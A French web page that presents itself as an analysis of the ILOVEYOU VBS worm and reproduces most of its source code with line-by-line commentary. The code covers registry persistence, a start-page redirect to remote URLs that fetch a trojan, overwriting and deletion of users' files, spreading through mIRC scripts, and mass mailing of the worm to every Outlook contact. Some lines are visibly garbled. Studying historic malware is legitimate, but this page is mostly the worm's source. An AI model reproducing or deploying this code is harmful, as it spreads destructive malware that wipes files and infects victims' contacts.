Annalyse d’un virus VBS (I Love You)

Le script de ce virus est vraiment fonctionnel et destructeur. Le code de ce virus est placé sur ce site à des fins académiques et devrait être utilisé comme tel. Je déconseille donc d’employer ce script (bien qu'i soit simplifié et donc inutilisable telquel).

Main

Partie principale du virus. Dans ce bout de code, le virus s'assure qu'il est bien lancé à chaque démarrage de Windows et ce copie dans les répertoires de Windows. Pour finir, il installe le cheval de troie en page de démarrage, créé le fichier HTML pour l'infection par mIRC, s'envoie aux contacts qui n'ont pas encore reçu leur copie du virus et "infecte" les fichiers.

rem barok -loveletter(vbe) <i hate go to school> Entête, description du virus
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, Philippines Coordonnées & références du programmeur
On Error Resume Next Gestion des erreurs
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow Déclaration des variables
eq = ""
ctr = 0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
  sub main() Fonction principale
    On Error Resume Next
    dim wscr, rr
    set wscr = CreateObject("WScript.Shell")
    rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") Verifie les délais (timeout) pour les scripts
    if (rr >= 1) then
      wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" Modifie le timeout, en cas d'erreur, le temps d'attente avant la suite est nul
    end if
    Set dirwin = fso.GetSpecialFolder(0) Répertoire de Windows
    Set dirsystem = fso.GetSpecialFolder(1) Répertoire System de Windows
    Set dirtemp = fso.GetSpecialFolder(2) Répertoire temp de Windows
    Set c = fso.GetFile(WScript.ScriptFullName) Ouvre le fichier actuel (en cours d'exécution)
    c.Copy(dirsystem & "\MSKernel32.vbs") Copie du virus vers un fichier .vbs exécuté au démarrage
    c.Copy(dirwin & "\Win32DLL.vbs") Copie du virus vers un fichier .vbs exécuté au démarrage
    c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") Copie du virus vers le fichier .TXT.vbs
    regruns() Modification de la base de registres pour le download automatique du cheval de troie
    html() Création du fichier HTML
    spreadtoemail() Propagation par e-mail
    listadriv() Infection des fichiers
  end sub

Regruns

Cette partie du virus met WIN-BUGSFIX.exe en page de démarrage d'Internet explorer. Il s'agit d'un cheval de troie. Une fois le fichier téléchargé, il est exécuté à chaque démarrage de Windows

  sub regruns()
    On Error Resume Next
    Dim num, downread
    regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" Exécution à chaque démarrage du virus
    regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" idem
    downread = ""
    downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") Dossier de téléchargement (par défaut)
    if (downread = "") then
      downread = "c:\"
    end if
    if (fileexist(dirsystem & "\WinFAT32.exe") = 1) then
      Randomize
      num = Int((4 * Rnd) + 1) Met en page de démarrage un des 4 liens (au hazard) pour le download d'un cheval de troie
      if num = 1 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/(...)/WIN-BUGSFIX.exe"
      elseif num = 2 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/(...)/WIN-BUGSFIX.exe"
      elseif num = 3 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/(...)/WIN-BUGSFIX.exe"
      elseif num = 4 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/(...)/WIN-BUGSFIX.exe"
      end if
    end if
    if (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) then Si le fichier a été téléchargé
      regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" Il sera exécuté à chaqe démarrage de Windows
      regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" Suppression de la page de démarrage, qui est actuellement le cheval de troie à télécharger
    end if
  end sub

Listadriv

Cette fonction infecte tous les disques durs (ou amovibles) de l'ordinateur.

  sub listadriv Liste tous les disques de la machine pour l'infection
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives Liste des Lecteurs (Disques dur, ...)
    For Each d in dc Pour chaque disque
      If d.DriveType = 2 or d.DriveType = 3 Then S'il s'agit d'un disque dur ou d'un disque amovible
        folderlist(d.path & "\") Appel de folderlist pour faire un parcours des dossiers du disque
      end if
    Next
    listadriv = s
  end sub

Infectfiles

Cette partie du virus "infecte" les fichiers vbs, vbe, js, jse, css, wsh, sct, hta (qui sont effacés et remplacés par le code du virus). Les fichiers *.jpg et *.jpeg sont effacés apres avoir créé des copies du virus *.jpg.vbs et *.jpeg.vbs, les fichiers *.mp3 et *.mp2 son chachés (cfr attributs de fichiers) et des fichiers *.mp3.vbs et *.mp2.vbs sont créés, contenant ... le code du virus, eh oui !!! Si le virus trouve un répertoire contenant mirc, le fichier script.ini est écrasé et remplacé par un code envoyant automatiquement le code du virus(au format html) à toute personne se joignant a un channel ou l'ordinateur infecté se trouve.

  sub infectfiles(folderspec) = 20 Infecte les fichiers du dossier actuel
    On Error Resume Next
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 Déclaration des variables
    set f = fso.GetFolder(folderspec)
    set fc = f.Files
    for each f1 in fc Pour chaque fichier du directory
      ext = fso.GetExtensionName(f1.path) Récupération de l'extension du fichier
      ext = lcase(ext) Mise de l'extension en minuscules
      s = lcase(f1.name) Mise du nom de fichier en minuscule
      if (ext = "vbs") or (ext = "vbe") then s'il s'agit d'un VBS ou d'un VBE.
        set ap = fso.OpenTextFile(f1.path, 2, true) Ouverture du fichier.
        ap.write vbscopy Ecriture tu code du virus sur le fichier
        ap.close Fermeture du fichier
      elseif(ext = "js") or (ext = "jse") or (ext = "css") or (ext = "wsh") or (ext = "sct") or (ext = "hta") then S'il s'agit d'un JS, d'un JSE, CSS, WSH, SCT ou HTA
        set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier
        ap.write vbscopy Copie du virus
        ap.close Fermeture du fichier
        bname = fso.GetBaseName(f1.path) bname : nom du fichier source
        set cop = fso.GetFile(f1.path) cop : nom du fichier du virus (= au nom du fichier source)
        cop.copy(folderspec & "\" & bname & ".vbs") Copie du fichier modifié, avec l'extension .VBS en plus
        fso.DeleteFile(f1.path) Supression du fichier original
      elseif(ext = "jpg") or (ext = "jpeg") then S'il s'agit d'un JPG (ou JPEG)
        set ap = fso.OpenTextFile(f1.path,2,true) Ouverture du fichier
        ap.write vbscopy Copie du code du virus
        ap.close Fermeture du fichier
        set cop = fso.GetFile(f1.path) Nom du fichier "infecté"
        cop.copy(f1.path & ".vbs") Copie du fichier "infecté" sous le nouveau nom
        fso.DeleteFile(f1.path) Supression du fichier original
      elseif(ext = "mp3") or (ext = "mp2") then S'il s'agit d'un MP3 ou d'un MP2
        set mp3 = fso.CreateTextFile(f1.path & ".vbs") Création du fichier .mp3.vbs (ou .mp2.vbs)
        mp3.write vbscopy Copie du code du virus
        mp3.close Fermeture du fichier mp3-mp2
        set att = fso.GetFile(f1.path)
        att.attributes = att.attributes + 2 Rend le fichier actuel caché
      end if
      if (eq<>folderspec) then
        if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or (s = "script.ini") or (s = "mirc.hlp") then Si le fichier actuel est un fichier mirc,
          set scriptini = fso.CreateTextFile(folderspec & "\script.ini") on créé un fichier script
          scriptini.WriteLine "[script]" Ecriture du contenu du fichier script
          scriptini.WriteLine ";mIRC Script"
          scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
          scriptini.WriteLine "   corrupt... WINDOWS will affect and will not run correctly. thanks"
          scriptini.WriteLine ";"
          scriptini.WriteLine ";Khaled Mardam-Bey"
          scriptini.WriteLine ";http://www.mirc.com"
          scriptini.WriteLine ";"
          scriptini.WriteLine "n0 = on 1:JOIN:#:{" Quand une personne arrive sur le channel
          scriptini.WriteLine "n1 = /if ( $nick == $me ) { halt }" si cette personne n'est pas nous-même
          scriptini.WriteLine "n2 = /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" Envoi du fichier .htm infecté
          scriptini.WriteLine "n3=}"
          scriptini.close Fermeture du fichier script
          eq = folderspec
        end if
      end if
    next = 20
  end sub

Folderlist

Cette partie du virus infecte les fichiers du dossier actuel et "liste" tout les sous dossiers (il se rapelle lui même pour traiter les sous-dossiers).

  sub folderlist(folderspec) = 20 Récupère les sous dossiers du dossier actuel
    On Error Resume Next
    dim f,f1,sf
    set f = fso.GetFolder(folderspec) = 20 Ouverture du dossier
    set sf = f.SubFolders Lecture des sous dossiers
    for each f1 in sf Pour chaque sous dossier
      infectfiles(f1.path) Infeccter les fichiers (cadre ci-dessous)
      folderlist(f1.path) Rappel de la fonction actuelle (pour continuer le parcours des dossiers)
    next = 20
  end sub

Regcreate

Cette partie du virus créé une clé(entrée) dans la base de registres

  sub regcreate(regkey, regvalue) Créé une clé dans la base de registres
    Set regedit = CreateObject("WScript.Shell") Creation d'un objet WScript
    regedit.RegWrite regkey, regvalue Ecriture dans la base de registre du couple clé, valeur
  end sub

Regget

Cette partie du virus lit une entrée de la base de registres

  function regget(value) Retourne la valeur d'une clé se trouvant dans la base de registres
    Set regedit = CreateObject("WScript.Shell") Création d'un objet WScript
    regget = regedit.RegRead(value) Lecture de la valeur
  end function

Fileexist

Cette fonction vérifie si un fichier existe.

  function fileexist(filespec) Teste si le fichier existe
    On Error Resume Next
    dim msg
    if (fso.FileExists(filespec)) Then Si le fichier existe
      msg = 0 Alors msg = 0
    else
      msg = 1 Sinon, msg = 1
    end if
    fileexist = msg retourne msg
  end function

Folderexist

Cette fonction vérifie si un dossier existe.

  function folderexist(folderspec) Teste si un dossier existe bien
    On Error Resume Next
    dim msg
    if (fso.GetFolderExists(folderspec)) then Si le dossier existe
      msg = 0
    else
      msg = 1
    end if
    fileexist = msg retourne msg comme valeur
  end function

Spreadtoemail

Cette fonction envoyant à la contact-list de Outlook-Express le code du virus (au format txt.vbs) en fichier joint.

  sub spreadtoemail() Fonction pour la propagation par e-mail
    On Error Resume Next
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
    set regedit = CreateObject("WScript.Shell")
    set out = WScript.CreateObject("Outlook.Application") Création d'un objet Outlook
    set mapi = out.GetNameSpace("MAPI")
    for ctrlists = 1 to mapi.AddressLists.Count Pour chaque liste d'addr. du carnet d'addresse d'Outlook Express
      set a = mapi.AddressLists(ctrlists) Sélectionne la liste actuelle
      x = 1
      regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a) Verification (dans la base de registres) si on a déja envoyé le virus à ce(ces) contact(s)
      if (regv = "") then S'il n'y a qu'une entrée dans la liste
        regv = 1
      end if
      if (int(a.AddressEntries.Count) > int(regv)) then Si le nombre d'addr. a augmenté
        for ctrentries = 1 to a.AddressEntries.Count Pour chaque addr.
          malead = a.AddressEntries(x)
          regad = ""
          regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead) Lecture dans la base de registres
          if (regad = "") then Si on n'a pas encore envoyé le virus à cette addr.
            set male = out.CreateItem(0) Creation du mail
            male.Recipients.Add(malead)
            male.Subject = "ILOVEYOU" Ecriture de l'e-mail infecté
            male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
            male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") Attachement du virus au mail
            male.Send Envoi du mail
            Regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD" Indique dans la base de registre qu'on a envoyé un mail à cette personne
          end if
          x = x + 1
        next
        regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Ecriture du nombre actuel d'addr. dans la base de registres
      else
        regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count Ecriture du nombre actuel d'addr. dans la base de registres
      end if
    next
    Set out = Nothing
    Set mapi = Nothing
  end sub

Html

Cette fonction créé le fichier HTML envoyé par mIRC.

  sub html
    On Error Resume Next
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    dta1 = "<HTML> Code HTML pour le fichier
                 <HEAD>
                   <TITLE>LOVELETTER - HTML</TITLE>
                   <META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER"> Entêtes et descriptions
                   <META NAME="Author" CONTENT="spyder - ispyder@mail.com @GRAMMERSoft Group - Manila, Philippines - March 2000">
                   <META NAME="Description" CONTENT="simple but i think this is good...">"
                 </HEAD>
                 <BODY ONMOUSEOUT="window.name = 'main'; window.open('OVE-LETTER-FOR-YOU.HTM', 'main') ONKEYDOWN="window.name = 'main'; window.open('LOVE-LETTER-FOR-YOU.HTM','main') "BGPROPERTIES="fixed" BGCOLOR="#FF9933">" Début du corps du fichier HTML, avec une réouverture automatique de la page
                   <CENTER><p>This HTML file need ActiveX Control</p> Affiche qu'il faut activer ActiveX pour visualiser la page
                   <p>To Enable to read this HTML file<BR>
                   - Please press 'YES' button to Enable ActiveX</p></CENTER>
                   <MARQUEE LOOP="infinite" BGCOLOR="yellow">----------z--------------------z----------</MARQUEE> Affichage d'une petite animation
                 </BODY>
                 </HTML>    Fin du contenu de la page
                 <SCRIPT language="JScript"><!--// Début du code du virus
                   if (window.screen) {
                     var wi = screen.availWidth; Dimensions maximum de la fenètre
                     var hi = screen.availHeight;
                     window.moveTo(0,0); Mise de la page en plein écran
                     window.resizeTo(wi,hi);
                   } //-->
                 </SCRIPT>
                 <SCRIPT LANGUAGE="VBScript"><!--
                   on error resume next
                   dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
                   aw = 1
                   setfso = CreateObject("Scripting.FileSystemObject")
                   set dirsystem = fso.GetSpecialFolder(1) Ouvre le répertoire système
                   code2 = replace(code, chr(91) & chr(45) & chr(91), chr(39)) Remplace les caractères spéciaux pour permettre la reproduction
                   code3 = replace(code2, chr(93) & chr(45) & chr(93), chr(34))
                   code4 = replace(code3, chr(37) & chr(45) & chr(37), chr(92))
                   setwri = fso.CreateTextFile(dirsystem & "\MSKernel32.vbs") Créé le fichier "système" du virus
                   wri.write code4 Ecriture du code du virus
                   wri.close Fermeture du fichier
                   if (fso.FileExists(dirsystem & "/MSKernel32.vbs")) then Si le fichier "système" existe
                     if (err.number = 424) then
                       aw = 0
                     end if
                     if (aw = 1) then S'il y a eu une erreur
                       document.write "ERROR: can't initialize ActiveX" Affichage d'une erreur ActiveX
                       window.close
                     end if
                   end if
                   Set regedit = CreateObject("WScript.Shell")
                   regedit.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/MSKernel32", dirsystem & "/MSKernel32.vbs" Indique que le code du virus doir être exécuté au démarrage de Windows
                 //--></SCRIPT>" Fin du script
    dt1 = replace(dta1, chr(35) & chr(45) & chr(35), " '   ") Remplace les caractères spéciaux pour permettre la reproduction
    dt1 = replace(dt1,  chr(64) & chr(45) & chr(64), " "" ")
    dt4 = replace(dt1,  chr(63) & chr(45) & chr(63), " /  ")
    dt5 = replace(dt4,  chr(94) & chr(45) & chr(94), " \  ")
    dt2 = replace(dta2, chr(35) & chr(45) & chr(35), " '   ")
    dt2 = replace(dt2,  chr(64) & chr(45) & chr(64), " "" ")
    dt3 = replace(dt2,  chr(63) & chr(45) & chr(63), " /  ")
    dt6 = replace(dt3,  chr(94) & chr(45) & chr(94), " \  ")
    set fso = CreateObject("Scripting.FileSystemObject")
    set c = fso.OpenTextFile(WScript.ScriptFullName,1)
    lines = Split(c.ReadAll,vbcrlf)
    l1 = ubound(lines)
    for n=0 to ubound(lines)
      lines(n) = replace(lines(n), " '   ", chr(91) + chr(45) + chr(91)) Remplace les caractères spéciaux pour permettre la reproduction
      lines(n) = replace(lines(n), " "" ", chr(93) + chr(45) + chr(93))
      lines(n) = replace(lines(n), " \   ", chr(37) + chr(45) + chr(37))
      if (l1 = n) then
        lines(n) = chr(34) + lines(n) + chr(34)
      else
        lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
      end if
    next
    set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM") Création du fitier HTM contenant le virus pour envoi par irc
    b.close
    set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM",2) Ouverture du fichier HTM
    d.write dt5 Ecriture du code du virus
    d.write join(lines, vbcrlf)
    d.write vbcrlf
    d.write dt6
    d.close Fermeture du HTM
  end sub

*** Visitez notre Sponsor ! ***
Membre de ClickFR, Reseau francophone Paie-Par-Click